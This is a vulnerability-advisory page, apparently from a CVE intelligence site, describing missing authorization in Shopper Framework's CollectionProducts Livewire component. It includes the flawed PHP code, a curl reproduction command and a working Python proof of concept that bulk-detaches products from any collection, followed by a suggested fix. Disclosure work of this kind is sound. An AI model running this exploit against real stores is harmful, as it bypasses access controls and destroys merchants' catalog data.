Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
PR:L confirmed by requirement for any valid admin-panel account; no confidentiality impact; bulk product detachment produces high integrity and availability harm to collection data.
Primary rating from Vendor (https://github.com/shopperlabs/shopper).
CVSS VectorVendor: https://github.com/shopperlabs/shopper
Lifecycle Timeline
6DescriptionCVE.org
Title
Missing authorization on product removal actions in CollectionProducts component
Description
A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)
Affected files
packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
// Line 40 - client-mutable, no #[Locked]
public Collection $collection;
// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
Action::make('delete')
->label(__('shopper::forms.actions.delete'))
->icon(Untitledui::Trash03)
->iconButton()
->color('danger')
->requiresConfirmation()
->action(function (Product $record): void {
$this->collection->products()->detach([$record->id]);
$this->dispatch('collection.add.product');
Notification::make()
->title(__('shopper::pages/collections.remove_product'))
->success()
->send();
}),
])
// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
DeleteBulkAction::make()
->label(__('shopper::forms.actions.delete'))
->icon(Untitledui::Trash03)
->requiresConfirmation()
->action(function (EloquentCollection $records): void {
$this->collection->products()->detach($records->pluck('id')->toArray());
$this->dispatch('collection.add.product');
Notification::make()
->title(__('shopper::pages/collections.remove_product'))
->success()
->send();
})
->deselectRecordsAfterCompletion(),
])Steps to reproduce
Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).
SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
# substituting collection ID 5 in the component state.
curl -s -X POST http://localhost/shopper/livewire/update \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: $XSRF" \
-H "Cookie: $SESSION" \
-H "X-Livewire: 1" \
-d '{
"components": [{
"snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
"updates": {},
"calls": [{
"path": "",
"method": "callBulkAction",
"params": ["delete", [1, 2, 3, 4, 5]]
}]
}]
}'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
# regardless of the caller having only browse_collections.Proof of concept
#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.
Set these environment variables before running:
BASE_URL e.g. http://localhost
SESSION_COOKIE value of the laravel_session cookie
XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie
COMPONENT_ID Livewire component snapshot ID (from page source)
COLLECTION_ID integer ID of the target collection
PRODUCT_IDS comma-separated product IDs to detach (e.g. "1,2,3")
"""
import json
import os
import requests
base_url = os.environ['BASE_URL']
session = os.environ['SESSION_COOKIE']
xsrf = os.environ['XSRF_TOKEN']
component_id = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel_session={session}',
'X-Livewire': '1',
}
snapshot = json.dumps({
'id': component_id,
'data': {'collection': collection_id},
'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{
'path': '',
'method': 'callBulkAction',
'params': ['delete', product_ids],
}]
}]
}
r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])Impact
A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.
Suggested fix
// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php
use Livewire\Attributes\Locked;
#[Locked] // prevent client-side ID substitution
public Collection $collection;
// Per-record action:
Action::make('delete')
->authorize('edit_collections') // add this
->action(function (Product $record): void {
$this->collection->products()->detach([$record->id]);
// ...
}),
// Bulk action:
DeleteBulkAction::make()
->authorize('edit_collections') // add this
->action(function (EloquentCollection $records): void {
$this->collection->products()->detach($records->pluck('id')->toArray());
// ...
})Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
AnalysisAI
Missing authorization controls in Shopper Framework's CollectionProducts Livewire component allow any authenticated admin-panel user - including those holding only read-only browse_collections permission - to detach individual products or bulk-detach all products from any collection in the database. A compounding issue exposes the $collection public Livewire property without the #[Locked] attribute, enabling client-side mutation of the collection ID in the wire payload, so the attacker is not limited to collections they have legitimately accessed. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires a valid authenticated session in the Shopper admin panel - any account, including one whose role holds only `browse_collections` (read-only catalog browsing), is sufficient; the `edit_collections` permission is NOT required. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H scores 8.1 and is well-grounded: network-accessible, low complexity, requires only a low-privilege authenticated session. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade Shopper Framework to version 2.9.2 or later via `composer update shopper/framework`. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Audit Shopper Framework admin panel access logs for suspicious collection modification activity and document all users with admin credentials. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-862 – Missing Authorization
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-78912
GHSA-2cg9-97gq-9mqp